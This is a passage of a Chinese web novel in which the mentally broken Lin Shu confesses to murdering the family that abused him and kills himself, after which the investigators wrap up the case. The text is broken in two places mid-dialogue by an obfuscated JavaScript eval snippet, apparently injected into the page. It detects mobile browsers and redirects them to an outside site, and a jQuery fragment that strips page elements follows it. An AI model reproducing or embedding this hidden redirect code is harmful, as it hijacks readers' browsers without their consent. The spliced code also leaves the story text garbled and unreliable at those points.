韩时元虽然在武力制裁着韩明吉,但由于韩明吉水平过于低下,以至于他还能分心注意着宋景熙那边的情况。他挡开像疯狗一样缠上来的韩明吉,有些不耐烦地抽出腰间短刀,朝韩明吉划了一刀,划破了韩明吉的衣袍。 林树喃喃地道:“不要,我不要。我不会答应你的......你这样做是不对的,怎么、怎么能伤害别人呢?你走吧,我就是洗、洗一洗伤口而已,你走开!走开!”说着他便挣扎地要站起来。 听前半段,宋景熙还以为林树是在和他说话,在指责韩时元伤人,但听到后面才明白,林树在自言自语!准确来说,应该是在和那“河边之人”说话! 可是林树现在为什么会突然和河边之人说话呢? 宋景熙担忧地道:“林树?你在和谁说话?” 林树听到了他的话,停止了站起来的动作,呆呆地道:“我没有说话啊。”又猛地摇摇头道:“我都、和你们、说了!不是我干的!是、是他干的!没有!他就是存在的!是真的!我都、都看到他了!” 韩明吉挨了几拳头心里正烦,听了林树的狡辩越发烦躁,骂骂咧咧地道:“放屁!看到的就是真的吗?你照个镜子不也能看到人?蠢货!” 照个镜子...... 河水...镜子...宋景熙猛然抬头。难道,难道林树那天看见的人,实际上是他自己?是他自己在河水边的倒影? 他恍然大悟,抓起林树的手握紧,道:“你那天看到的人,是不是很模糊,只看得到轮廓?” 因为夜间河边人的倒影看不清面容,所以林树回忆起来才会觉得丑陋! 林树拼命摇头:“不是!不是!很清楚的!他长得,长得...”他的声音突然像泄气了一样,慢慢地低了下去,直到没有。 宋景熙心中逐渐有了猜想,他凝视着林树,低声问道:“长得和你一样,是不是?” 林树瞪着眼,抽开手,捂住头,弯起身,既摇头,又点头:“让我想想...让我想想...我快想起来了,我真的快想起来了,你别吵,让我想想!” 宋景熙沉着脸起身退后了一步,容许林树好好想一想。 韩明吉啐了一口:“想你个头啊!这有什么好想的?!不想承认就直说啊!!杀人犯!!!” 宋景熙瞥了韩明吉一样,后者正被韩时元打得节节败退,虐得体无完肤。按他对韩明吉的了解,韩明吉绝对不是什么爱好仗义执言、打抱不平的传统好人,现在能出口说出这些“伸张正义”的话,无非是被韩时元打急了,骂韩时元吧也骂了,然而对方又无动于衷,只好换个人骂。 林树涨着脑袋,额角直跳,紧咬牙关,从齿缝里蹦出几个字:“闭嘴!吵死了!!” 韩明吉又骂了一句,林树倒在地上打滚,十分痛苦地道:“求你了,闭嘴!吵死了,吵死了!闭嘴啊!!” 宋景熙大惊失色,也不知该去扶还是不扶,林树在地上不停地打滚,滚完了,又趴在地上,十指蜷曲揪着头发,生生揪下来几缕发丝,头皮也被锐利的指甲划破,泌出血点,沾在发上。 林树从前说话,无论如何都带着敬词,这个时候已经一个敬词都不说了。宋景熙看得出来,林树他不是在对韩明吉说话!怕他将头发全部薅下来,薅得血肉淋漓,没有办法,宋景熙看准时机,赶紧上前紧紧握住了林树的手,不让他再自伤。 韩明吉还以为林树是在说他,刚想张口骂人,那些话却被韩时元打回了肚子里,而溢出口的是血。他本就被打得惨不忍睹,这下更加是雪上加霜了。胸腔和脑袋里的怒气总得发泄出去,可他又打不赢韩时元,于是乎,暴跳如雷的韩明吉选择了那个最弱的目标。 他看准机会放弃和韩时元缠斗,然后迅速冲向还没被宋景熙拉起来的林树。宋景熙适才一不小心被林树打在了下巴上,本就有些发懵,松了点力,竟恰好让韩明吉钻了空子,一瞬间,韩明吉将林树扑倒在地,压在身下,猛地一拳一拳揍下去。 宋景熙想去阻拦,却被赶上来的韩时元伸手抱腰拦住了,转头一看,韩时元轻轻摇了摇头。他眼神落在宋景熙被打到的下颌处,那里被砸出来一片若隐若现的红印。 韩时元滚了滚喉结,抬起的手滞空一瞬,又放下,道:“...小心点。”而后眼神看向别处。宋景熙顺着他的目光看,树林之中再次钻出来一群身影——明显比上一回少了很多,只有七八个士兵。 韩时元再道:“来人了。” 这群士兵像是知道骑在林树身上疯狂殴打的韩明吉会要他们做什么,只看了一眼,便向宋景熙和韩时元二人冲去。 宋景熙抽刀应战,这些士兵仍然是束手束脚的不敢伤到他,身法却比先前那些好了许多,看来是换了一批精兵。这个时候,宋景熙更希望是原来那批人,因为这群人虽然不敢伤他,却能把他制压住,无法接近挨打的林树! 林树用双臂护着头和脸,却仍然被打得鼻青脸肿。他护着头,韩明吉就毫无章法往他胸腹处砸拳头,即便是壮汉也经不得这样的打,更何况是林树这么瘦弱的人,很快他被打得口鼻狂冒血,命不久矣了。 宋景熙心下一急,也顾不得收手了,横刀砍伤一个人。好在韩时元这时已经空手打倒了三两个,宋景熙便将刀扔给他,让他来接手剩下几个,自己则快步奔到林树旁,提气踹翻打红眼的韩明吉,慌乱地将满脸是血的林树捞起来。 林树像一条濒死的鱼,浑身瘫软,一双无神的眼里已经了无生气。宋景熙伸指去碰他的颈间咽喉,感受到他还有气,只是气若游丝。并且,宋景熙能感觉到那喉结正在指间轻微上下滑动,伴随着喉管里发出的粗粝的哽咽声。 他有什么话要说。 林树突然狠狠咳了几声,歪头吐出一喉咙血来,再艰难地转头回来,眼睛里似乎恢复了几丝清明,然后变成难以言说的痛苦和怨恨。这不是宋景熙认识的林树的眼神。 这是...悬赏令画像上林树的眼神...... 林树竟然还有力气,他一掌拍开宋景熙,费力地撑着地站了起来,一瘸一拐地往那棵树边走。韩明吉也捂着被踹的腰站起来,呲牙咧嘴地要找宋景熙算账,宋景熙推了他一下,轻松将他推倒。 韩明吉恶狠狠地啐了口,骂道:“都去死,都去死。”而后瘫倒在地,不管了。 林树口里含着血,不在意地喃喃道:“我想起来了。是我,是我。” 他的语气十分平静,平静到没有生气。宋景熙道:“...什么?” 林树走到歪树旁,扶着树干跪了下来。他接下来的行为却再一次震惊了宋景熙。因为他在刨土!准确来说,是在刨树底下的土。 宋景熙惊异道:“你在做什么?” 林树吐了一口血,并不回答。只是拼命地拿指尖抠着土,土质并不松软,是相当坚硬的黄土。黄土被刨开后,埋在下层的土便没有如此坚硬,只是黄土已经将他的指尖磨出血肉,泥土混着血,他却像没有知觉一样,不休不怠。 宋景熙不忍相看,不明白他是想做什么,忍不住劝道:“别挖了,你的手.....” 林树又吐了一口血,语气森冷:“滚。” “小树...” “滚啊!” 这绝对不是他认识的林树,宋景熙识趣地退到了一旁。那边韩时元已经打趴了所有士兵,收刀走了过来,熟稔地将刀插入宋景熙背后的刀鞘,低头看看宋景熙的下颌,那片红印已经消失了。又看向林树。 “...他在做什么。” 宋景熙摇摇头,道:“不明白。” 躺在地上自暴自弃的韩明吉突然开始哈哈大笑起来,他的喉咙里也有血,笑声像是磨着沙子,难听死,吵死个人。宋景熙忍不住捂住了耳朵。 也许是他的笑声太过吵闹,竟然引来了人,这人惊慌失措地从几人身后而来。听到喘息声,宋景熙转头去看,竟然是魏老板! 只有魏老板一个人来了。魏老板是骑着马匆忙赶过来的,他一眼就看到背对着他不断耸肩的林树,立刻跑到林树身旁,一看竟然是在挖树,还挖得满手是血,当即吓得魂不守舍,连忙拉开他,急道:“小树!你怎么啦!怎么在挖树,手疼啊!别挖了!别挖了!都流血了!” 林树不为所动,继续挖,并道:“你也滚。” 魏老板愣了一下,严肃起来:“你会说脏话了?谁教你的,魏叔替你去找他麻烦,好不好?” 林树满脸不耐烦,终于停了手,暴躁道:“烦死了!烦死了!为什么都要来烦我!你们以为你们是谁?!凭什么一个个都要来装作很关心我的样子?!都滚开!!还有你,我管你什么叔,给我滚!!” 魏老板愣在原地,颇显年岁的面容上满是惊愕与骇然。宋景熙心底一沉,果然魏老板也不认识林树的这一面? 魏老板的背弯了下来,垂头丧气了一会,转而蹲了下来。他在和林树一起挖土,并且挖得比林树更卖力。 韩明吉侧头看着,又开始爆发大笑,捶地道:“一群疯子!哈哈哈哈哈哈,都是一群疯子!哈哈哈哈哈哈哈哈哈哈——” 宋景熙不堪其扰,耳边听到一阵强烈的嗡鸣声,而韩明吉的暴笑声变得模糊不清,他不得不再次捂住耳朵。而就在此时,一双手轻缓地覆了上来,手心贴着手背。韩时元的声音透过两双手传进耳膜,沉稳有力:“别强撑......” 听到这温和的声音,宋景熙终于想起来自己不仅没有连续几日没有睡好,还奔波了两天,还打了几场架,已经是强撑着了。 剩下的话,他却听不大清了,开始头晕眼花起来,眼睛正迷迷糊糊地将要闭上。韩时元将他揽在怀里,摁在胸膛前。然而听着强健有力的心跳,宋景熙竟逐渐清明过来,眨眨眼。 居然没晕。 方才他真的以为自己要晕过去了。等反应过来后又有些哭笑不得,韩时元恐怕也是以为他要晕过去了,才会抱住他! 他刚想抬手拍拍韩时元的背,示意自己没晕,又想到韩时元会不会觉得有点尴尬,考虑着考虑着,宋景熙干脆装晕了。 ......反正,这么抱着还挺安心的。 突然,那边魏老板惊呼了一声。宋景熙立刻抬头去看,却先对上了韩时元的双眼,那双眸子里带着几分认真和笑意,不知是否是这若隐若现的笑意迫使宋景熙移开眼,因为感到有些难堪。 ......原来他已经察觉到了。 韩时元放开了他,宋景熙没敢看他,尴尬地站直,故作沉稳地往魏老板那边走。魏老板和林树已经将树挖了个大坑,那坑底赫然出现了一块头大小的石头,上面覆盖着细小密麻的树根。 石头?! 魏老板难以置信地道:“树底下怎么会长石头?” 耳边响起韩时元的声音,宋景熙不由得心底一颤,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林树没有听进去:“我把迷药加在饭菜里,所以他们全部晕了过去。这些迷药是他们本来用在我身上的,以前只要我挨了揍想反抗,他们就会用这种药强逼我安静下来挨打。这种迷药起效很快,但是也有缺点,持续时间特别短。所以在我还没有绑住所有人时,大少爷就已经醒了,他很愤怒,但他已经被我绑住了。所以,我先当着他的面杀了大夫人和老爷,再杀了其它人,最后杀了他儿子。期间他一直骂我,我杀完了,我说,我连你叫什么名字都不知道,但你的这些话,我已经听了二十年了,我已经听腻了。” “小的时候,每次被他打得很疼很痛,我都会问他,明明你的父亲也是我的父亲,为什么你要这么对我,他每次都说同一句话:谁和你是兄弟,我和你身上流着的血不一样。长大后我想我明白了,就不问了。但是那天看着他被绑了还要骂我,我就想起那些话,所以又问了一遍,这次他还是说着一样的话,可是还补了一句:你身上流的是妓生的卑劣的血。然后还骂我娘,所以我就将他的喉咙割开,再剖开他的肚子,还有腿,流了很多血。他说他的血和我不一样,所以我往自己手臂上也划了一刀,我看了很久,看不明白,也不明白他的话,他的血,我的血,明明都是红色的血,哪里有区别?所以我累了。” 林树陆陆续续说了很多犯案的细节,事无巨细,简直像是在面对审讯时毫不保留的吐露。事已至此,林树是真正的犯人这件事,已经无法翻案了。 魏老板已经瘫倒在地,罢了,猛地抱住林树,颤颤巍巍地哭道:“小树,魏叔对不起你。早知道你在林家过成那个鬼样子,我应该带你走的!是魏叔太胆小,不敢和他们诉状,如果带你走就好了......” 宋景熙闭了闭眼,抬头望天,近苍白的天忽然降起大雨,雨势凶猛,来势汹汹,萧瑟的雨落声响几乎吞掉所有话语。林树没有回应魏老板的话,他抬起头,迷茫地道:“那天夜里,也是这样大的雨。” “雨水把红色的血和地上的土冲在一起,我提着他们的脑袋去了阿娘那里。我看见阿娘的脸很伤心,我想应该是那贱人的错,都是她挖开了阿娘的坟,让阿娘在地下睡得不舒服,所以我就把土盖上了,但阿娘的脸还是很伤心。阿娘不和我说话,我很伤心,睡了一觉,醒来后,又发现自己在林家了。” 说着说着,林树的眼睛里闪过一丝迷茫:“我究竟是怎么回来的?明明都已经想起来了,为什么只有这一件想不起来......”他皱了皱眉,眼神狠戾起来:“我管他的,我想要做的都做了,我一点也不后悔。我人生中,没有比那一天杀了他们所有人以后更快活的一天了。” 魏老板就着雨水搓了几把脸,崩溃道:“小树,魏叔带你走,好不好?我已经一无所有了,客栈也搞不下去了,魏叔带你离开南邑,去当你想当的侠客,我们走......”想起还有两位身份不明的“官员”看着,魏老板径直跪了下来,趴在地上恳求道:“大人,魏某规矩了一辈子,从未做过什么违抗法令的事,可是今日......这个孩子命太苦,那些人是罪有应得,恳请大人法外开恩,让魏某带他离开......” 剩下的话,被雨水冲散。 宋景熙看向韩时元,韩时元面无表情,没有表态。他好像也在等宋景熙的回答一样。 宋景熙叹了一口气,扶起魏老板,道:“...他也杀了无辜之人。”只凭这一句,魏老板顿失希望,咬咬牙,道:“那个孩子!谁能保证他长大以后不会和他的父亲一样罪恶?官府二十年都没有管过他的死活,如今却要惩罚一个被逼到绝路的人?!那林老爷是人,贵族是人,难道小树他就不是人了吗?!” 雨水终于彻底打湿黑笠,几滴雨滴在了宋景熙的脸上,那阵凉意,十分彻骨。宋景熙艰难地道:“人人都是人。” 一直躺在地上,对砸面的暴雨也无动于衷的韩明吉听到这句话,突然道:“...不是人。” 林树一语不发地搬起石头,他身上的血已经被冲得晕开了,没人知道他想干什么,直到他说:“没用的,逃不走的,哪里都没有路。” 石头太重,他不得不将石头抱在怀里,继续道“娘死前,和我说,‘如果我死了,就在我的坟前种一棵树,这样我可以一直看着你长大,等到你长成巍峨挺拔的大树,可以为我的坟墓遮风挡雨的时候,我就会知道,我们家小树终于长成大树了。’可是!”他突然声音高亢起来,又顷刻间低落到谷底,泪水混着雨水糊得脸乱七八糟:“可是娘,树,也是会长歪的!”说罢,他举起石头。 魏老板顿感不妙,伸手阻拦,却迟了一步,那块石头被狠命地砸在林树的脑袋上,顿时血流如注,石头和林树一起倒在了地上。 不同的是,石头砸在了冰冷的地上,而林树被魏老板接住。 魏老板慌乱地将手掌按在林树出血的头顶,又拿另一只手胡乱地试探鼻息,可是没有丝毫气息。 宋景熙赶紧上前,抓起林树的手,按在脉处,那里仍有一丝波动,只是越来越薄弱,越来越沉寂。已经回天乏术了。 顶着魏老板希冀的眼神,宋景熙不敢直视,垂眸道:“对不起......” 那一天,宋景熙听到了此生为止,他听到过的,最凄惨、最绝望的哀嚎声。 24. 空亡其十二 暴雨来的快,去的也快。很快,天恢复了苍白。 郡守姗姗来迟,看着满地狼藉,吓得半晕,被韩时元踹醒,醒了,苦着脸收拾狼藉,命令人将被打趴的士兵带走,又将已经晕过去的韩明吉捞了回去,吩咐好好治伤。 魏老板已经消失不见。同样消失的,还有林树。 林树的的确确死了。在暴雨还没结束时,魏老板背着林树离开,也许是因为雨水太冷,带走了林树的体温,魏老板总觉得背上的林树越来越冰冷。 临走前,宋景熙问他会去哪里,魏老板没有回头,只是苦笑了一声,他说,他要回义州。 郡守处理完了狼藉,搓着手,满脸苦大仇深:“大人,那个林树...” 宋景熙道:“自尽了。” 郡守:“...啊?啊??!”他很想认为这是句玩笑话,但无论是这位宋大人还是那位不知名姓的大人,神情都严肃之至。他结结巴巴地道:“那、那林树的尸首呢?” 宋景熙深吸了一口气,努力平静地道:“被魏老板带走了。”随后,他又一一解释了方才发生过的事情和林树所交代的杀人经过,郡守听得一愣一愣,这些杀人经过里的几处细节,当时林树招供的时候说都没说,连郡守他自己也不知道。 而现在宋大人说魏老板将林树的尸身带走了......郡守渐渐变得焦急了起来。这是不是意味着,他收受魏老板贿赂的事情也被发现了? 说是贿赂,倒也不算。只是最初在林家抓到林树并审讯时,魏老板出现并给他塞了一大笔钱粮,说是希望能好好对待林树,请他不要刑审逼供。郡守答应了,但他也很为难地对魏老板说:“如果真是林树他犯下的命案,你也知道的,他逃不过一死,我们没办法不将他的脑袋砍下来。” 郡守还记得魏老板连那送出去的一箱银子看都没多看一眼,只是卑躬屈膝地对着他说:“如果大人砍下了他的脑袋,请将他的尸首送与草民。” 郡守答应了。反正,死掉的犯人,会被扔到野外。 后来审讯,郡守向天发誓他只不过是见林树连一句完整的话都说不清楚,才叫人抽了他几耳光,然后林树突然就变得凶狠起来,剧烈地反抗着,郡守见状只好让人将林树打晕。再醒来的时候,林树依旧以一种要杀了他的眼神死死盯着他,但却出人意料地承认了罪行,并且如数家珍般交代了犯案过程。 郡守从未觉得一箱银子有这么好挣过。 后来林树逃跑,魏老板又带着一大笔钱粮拜访了他的私宅。这次的理由是魏老板听说林树喊了冤,说是有真正的凶手另有其人,但衙门置之不理。魏老板希望衙门能再好好调查一番。 那时南邑城内确实是有关于“真凶另有其人”的风言风语,因为郡守的属下之一知晓林树的遭遇了后对其产生了同情,愿意查一查“河边之人”的情况,后来结果就是毫无结果。 但郡守对魏老板的动机产生了怀疑,他不是不知道十年前魏老板和林家人之间的事情,不是不知道魏老板想收养林树,最后却被逼走了,不是不知道魏老板对待林树像对待亲生儿子一样好。但魏老板两番找他网开一面,又鉴于魏老板也是林树最依赖的在世的人之一,郡守怀疑魏老板有可能私藏了犯人,便带人搜查了无名客栈,结果让他大失所望,无名客栈没有林树。 虽然没有找到,但官兵大肆搜查无名客栈的事情被南邑百姓看在眼里,对林树的恐惧也殃及了无名客栈,从搜查当日起,再也没有任何人光顾无名客栈了。也有被骗过去的外地人,但所有人见到破破烂烂的店门,而且听说价钱还不便宜,于是连进去看一眼的想法都不会有,大家都想着,南邑这么多酒家,不差这一家,对吧?大概魏老板也没有想到,在他考虑关店的前一天,居然真的有人进来了。 。 郡守再也不觉得银钱好挣了,他现在真后悔当时收了魏老板的钱粮。因为林树真的是犯人,魏老板真的私藏了犯人,他收了共犯的钱,不是贿赂是什么?他真怕这名很有可能是汉阳派来的监察使的宋大人察觉出来,甚至直接拆穿他检举他,他又没有靠山,一旦被检举,那就完蛋了。 魏老板是共犯......那放走共犯,难道不是个隐患吗?郡守磨磨蹭蹭地琢磨琢磨半天,小心翼翼地道:“大人,那个姓魏的,是不是私藏了逃犯林树啊......就这么轻易地放他走了,不会捅出什么篓子来吗?” 几人正骑着马往南邑城的方向去,听到郡守的话,宋景熙微微一滞,很快又微笑道:“如此说来,我和同伴明知林树藏在无名客栈,却并不当场缉拿他,还致使他再度逃走,实在是造成了大错。魏老板是不可能泄露的,只希望郡守大人保守住这个秘密,万一泄露出去,我们将会受到惩罚,届时也...不好收场啊。” 郡守傻眼了,他居然没想到这一层,并且还在宋景熙的话里听出了一股威胁的意味,不知是不是错觉...... 郡守心中抹了抹眼泪,决心为宋大人掩埋过错,将这个秘密带到地底下去。毕竟人,总是会犯错的,就像他也一时头热收了魏老板的钱一样,说不定宋大人也会帮他隐瞒这个过错...... “下官明白了!” 南邑官署。 宋景熙看向韩时元:“今夜前能回汉阳吗?” 韩时元摇头道:“不能。若急着回去,怕是要趁夜赶回。不如休息一夜,等明日再说。” 确实很累了,宋景熙点点头答应。有了林树的证词,他们两人还得马不停蹄地监督编修查案记录。由此,郡守更加坚信,这两人就是汉阳派来的监察使! 次日,林家一些亲朋好友来官署大闹。大概是林家人的远亲了,因为不是远亲的都死了。 这些人甚至带着一批书生,非说是衙门无能,让犯人逃走,如今抓不回来才说是死了,不然为何不让他们见一见那该死的杀人魔头的尸体!宋景熙和韩时元循着动静过去时,郡守正带着人苦苦相劝,因为不能动手,宋景熙也加入了劝说队伍,道:“各位先冷静冷静,林树的确已经死了,但尸身现在已经下葬了,总不能将他挖出来看一看吧?想来各位还是没有这个爱好的!” 偏偏这群激进的人仗着官府没理由伤读书人,闹得一个比一个凶。 其中一个书生叫嚣道:“本人也姓林,算是林家人的远亲。我今天站在这,只是为了让枉死的亲人得以安息!就算林树那畜生死了,那也请大人告诉我们那家伙埋在哪!做出那种事情,只是那样轻松地死了吗?唯有在其坟头踩上一脚,才可解心头恨啊!” 众人皆连连道是。 眼看围观的人越来越多,无奈之下,宋景熙拔出刀,递给了韩时元,那意思是:恐吓一下算了。 韩时元十分给力,道:“你可知你的远亲在死前做了什么?” 书生看见这把锃亮的刀,丝毫没意识到危险,道:“无论做了什么,都不是被残害至此的理由!你为何要拿着刀指着我们,难道是想逼走我们吗?公理何在!我们只是为求一个真相!” 韩时元冷笑道:“早不出来晚不出来,现在倒说自己是为了真相而来了。你口中所谓的真相,是你们的族亲虐待自己的亲生儿子二十余年;你口中所谓的公理,是你们其实根本不在乎任何一个族亲的死。看你们这几个穿得人模人样,身上的儒袍却已经穿到脱色,很多年没有取得功名了,我说的可对?你们不过是想用他们的死,逼迫官府给你们好处,对么?” 被戳破了心思,几个脸皮薄的已经开始红脸了,他们其中确实有读了几十年圣贤书,就是没谋得个一官半职的,可以说林吏房是最出息的一个了。唯有最先说话的书生最年轻,脸皮也最厚,依然道:“你不要血口喷人!我们追求的是圣人之道,岂会...啊!” 书生的脸上多了一道血痕。 不是韩时元干的。 韩明吉不知何时拄拐走了过来,黑着脸抢过刀,一刀切掉这厚脸皮书生脑袋上的儒冠,又在脸上飞划了一刀,血痕又长又深,痛得这书生惊叫一声。韩明吉道:“你要追求你的圣人之道,那你就一辈子都追求去吧,别他妈去汉阳了。凭你脸上这道刀伤,你就永远也不可能上得了榜,知道了吗?滚。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773773|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 另一名年龄颇大的书生惊声道:“你这是什么意思?!” 韩明吉露出轻蔑的表情:“还不明白?蠢货。只要我和主持科考的人说一声,不要从南邑来的姓林的考生,尤其是不要脸上有刀疤的,那你们这群顶着猪首的家伙一辈子也别想进汉阳的城门。”居高临下地使用特权让他因为昨日之事而不好的心情都好了许多,他表情依旧十分倨傲,更加轻蔑地道:“比如你,你这辈子就都别想进汉阳了。” 他拿刀尖一个一个地指,一个一个地道:“你、你、你,还有你,这辈子也都别想穿上官袍了,真那么想当官的话,也不是不行,忍痛把下面割一割,进去当个内侍,混个内官当当,内官也是官!不过就你们这种人,也只配当当最低的内侍了。这就是我的意思,明白了吗?明白了就滚!” 虽然讨厌韩明吉,但他说的话实在让宋景熙有些忍俊。宋景熙悄悄地靠近韩时元,问道:“你故意的?”刀本来在韩时元手上,依他对韩时元的了解,韩时元的掌力绝不可能允许谁从手里夺走刀的。 韩时元勾唇笑了一下:“借刀杀人嘛。” 和韩明吉对峙的书生气急败坏地道:“你是谁?你凭什么这么说我们!一句话就敢决定别人的命运,你觉得你很厉害是吗?!” 韩明吉道:“老子就是很厉害!你睁大你的猪耳朵听清楚了,当今领相是我爹!老子姓韩!要不是你们这群狗东西,我至于来这穷乡僻壤的破地方?!我不仅敢决定你们的命运,我还能决定你们的生死!” “我现在就能当场杀了你,你敢不敢试试这把刀钝了还是没钝?我看那个该死的林树他就应该一起把你们也杀了!反正林家人都是一群没脑子的蠢货。官衙想怎么做还轮得到你们来置喙?睁大你们的狗眼看清楚,这里是容得你们这群下三滥的东西闹事的地方吗?我只说一次,滚远点!再让我看见你们,我会把你们的脑袋全部砍下来挂在城门上,割掉舌头,看看谁的舌头更硬!” 边说,他边将刀按在书生衣服上,十分嫌弃地擦掉血。 那书生脸色惨白地向后倒,被后面的人接住。 领议政的名头果然好使。蛮横威胁果然好使。一群人作鸟兽般四处逃散,很快没了影。 韩明吉翻了个白眼,扔刀在地,一瘸一拐地走了。宋景熙伸手捡起刀,喊住他:“我们明日回汉阳,你呢?” 韩明吉背对着二人:“关我屁事啊。老子心情不好,别烦我。” 宋景熙不想和他拌嘴,笑眯眯地道:“你什么时候回?要和我们一起吗?南邑的路可是很难找的啊。”他心里想的却是:过了这么几年,韩明吉果然还是没怎么变,还是一样的爱以身份欺负人,爱以权势压人,只要身份不如他的他就看不起,连出身不好的王子他都暗中看不起。宋景熙以往也一直因为这一点而讨厌韩明吉,现在反倒是韩明吉凭他讨厌的这一点帮他们驱散了闹事者了。 真是一种奇怪的心情。 也许是想起被甩开后因为找不到路气急败坏抽了马几鞭子结果一路上被甩下来三次的经历,韩明吉嘴角抽了抽,转过头来,不耐烦道:“我说过了,别烦我。南邑风景不比那个破汉阳好多了?我留这看几天怎么了,你们爱滚滚,少来管我,你们还不配。” 韩明吉的伤势虽不严重,却也需要静养几日,不能奔波,这是官府里医员的原话。听他这么说,宋景熙扭头对韩时元道:“真可惜,只能我们先走了。” 韩时元笑道:“不可惜。” “......”韩明吉咬牙切齿地走了。末了,又转头道:“喂,宋景熙,我发现你这人有时候也没那么讨厌。” 宋景熙疑惑道:“是吗?那你误会了,我一般都挺惹人厌的。” 韩明吉呸了一声,骂骂咧咧地走了。 次日,宋景熙和韩时元才离开南邑。 出城前,宋景熙特意去客栈看了眼,大门上锁,已经无人来往。 这时,街边有路人讨论的声音传来: “诶,你听说了没?无名客栈又破产倒闭了!老板都不见了!” 25. 国殇其一 五百钱没能拿到。 因为赏金是捕盗厅出,找捕盗厅要钱,只会让他们被盘问关于林树的事。所以宋景熙主动放弃了。 反正不过就是五百钱嘛!他自己的小私库里又不是没有!这么想着,宋景熙一回汉阳,先是直奔自家,想取了五百钱交给李珘,却不料在自己的院子里见到了一个让他有些意外的人。 “本庭?” 他院中有棵树,树下有三张椅子,一张桌子。沈本庭就坐在树下,背对着他,听见声音,转过头来,脸上的表情淡淡的。 沈本庭淡淡地道:“景熙,你来了。” 宋景熙庆幸于自己没让韩时元跟来,因为怕韩时元出现在这条街上太过显眼,也怕被家人看见,所以先让他回曳扇台了。宋景熙自己也没想到,沈本庭居然找上了门。 这原本不稀奇,因为他院中的桌椅本来就是以前他们三人为了聚会而设的,不过后来三家关系恶化,三人也不好当面驳了父辈的面子,便几乎不再互相登门拜访,尤其是在聚会地点设置在群芳馆后,更甚。 自从三家关系不断恶化,到现在已经差不多是水火不容的境况了。如今的朝廷上,也就两派势力,一派是以元勋功臣和王亲贵戚为主的勋旧派,一派则是与之针锋相对的新兴士林派,不过,虽说是新兴,二者也缠斗了好几十年,若说谁更势强些,自然是勋旧派。勋旧派几乎包揽了朝廷要职,祖辈攒下来的基业也足够他们再吃几代老本,而士林派则被排挤于其外,盘踞在三司以及地方守令之上。 宋家和沈家的关系不好,是因为宋家是勋旧,而沈家是士林,而且沈家还不是普通的士林,沈本庭的父亲是士林派的领袖,自持清流,十分看不惯勋旧世家,巧了,宋景熙的父亲也看不惯沈本庭的父亲,认为其故作清高。 郑家虽然也是勋旧,和宋家一样,都是勋旧派里的中流砥柱,但由于郑禹原的父亲和宋景熙的父亲关系恶劣,所以实际上勋旧派内部也并不是团结友爱的关系。 因此,宋、沈、郑三家是互相极其看不惯的。自持清高的沈父面对政敌,真是一点不手轻,今日我弹劾你宋父,明日我弹劾他郑父,隔几日干脆两个人一起弹劾好了,气得两人在勤政殿外直追着他骂。宋父长子在司谏院为官,宋父尚且还能让长子反过来弹劾文父,郑父十几个儿子没一个是谏官,怎么办?好在他本人性行暴如雷,下了朝撵着文父的轿子一路骂到文府门口,活活把文父气到吐血。 父辈梁子结得大,按理自家子孙也该互相伤害,偏偏不是这样,所以父辈们更加看不惯对方,都认为是对方的儿子带坏了自己的,因此纷纷试图限制儿子的往来,比如郑禹原去沈府拜访沈本庭,那一定会被沈家人踢出来,同样的,沈本庭来宋府拜访宋景熙,也会被宋景熙的父亲赶出去。 对此,宋景熙感叹道:“你都多少年没有踏进我府里,更别说进我院子了。啊真稀奇,先让我尽一尽东道主之礼吧。”说罢,宋景熙便先去取来茶具来,一通烹茶过后,便是沏茶,不过说是沏茶,其实就是很简单的倒茶。他和郑禹原一样,对喝茶没那么多讲究。 沈本庭看不下去宋景熙半吊子的沏茶手法,等宋景熙一杯倒完,便将茶壶拿了过来,略有些责备道:“你又不是不会沏茶,这沏得也太随便了些。” 宋景熙笑嘻嘻地道:“又没有旁人,还讲求那么多干嘛,舒心是最重要的。” 沈本庭淡淡地道:“规矩对我来说就是最舒心的。” 宋景熙道:“唉,你还是那么古板,随便你了。话说我爹居然能放你进来,没人拦你么?” 沈本庭云淡风轻道:“你父亲不在府中,令堂倒是看见了我,并未将我赶出来,不过也并我理睬我。好在我还记得你的院子在哪,否则真是尴尬了。” 宋景熙哼了一声:“不怪我母亲不睬你,父亲他性格怪得很,若是被他知道母亲允许你进来了,一定会斥责母亲的。不理睬你,还能当作是没看见你。你届时出去,我替你打打掩护,只要我说上一声,府里的家仆不会告状的。” 沈本庭轻轻点了点头,道:“我父亲也一样,他近日十分忙碌,也很少归家。既然我来了你府上,那不如礼尚往来,改日我邀你去我府上,如何?” 宋景熙果断拒绝道:“别!千万别。令尊的手段我见过的,他可讨厌我了,要是让他知道我踏足了他的地方,万一又去告我父亲的状,我父亲又来找我的麻烦可怎么好。我们不是一向定在群芳馆见面么,这回找我,是不是有什么急事呀?” 两人坐在院子中,树影里,一个淡粉,一个鹅黄,皆是清俊秀美,气度不凡。斑驳光影打在沈本庭脸上,辉映了几分笑颜,更显此人眉眼谦谦,温润君子。 沈本庭道:“自然是因为有不解之事才来找你的。你上次离开汉阳前给我们传信来,说了要去南邑的事,还交代了金哲的案子,说没什么头绪查不清楚。但是现在,你可知金哲已经被抓进义禁府了?就在你离开汉阳的当日。” 宋景熙露出了疑惑的表情:“被抓了?”心下暗暗道:看来是老师抓的,因为找不到解忧草之类的证据,所以直接抓人审问了?看来待会还得回曳扇台一趟。 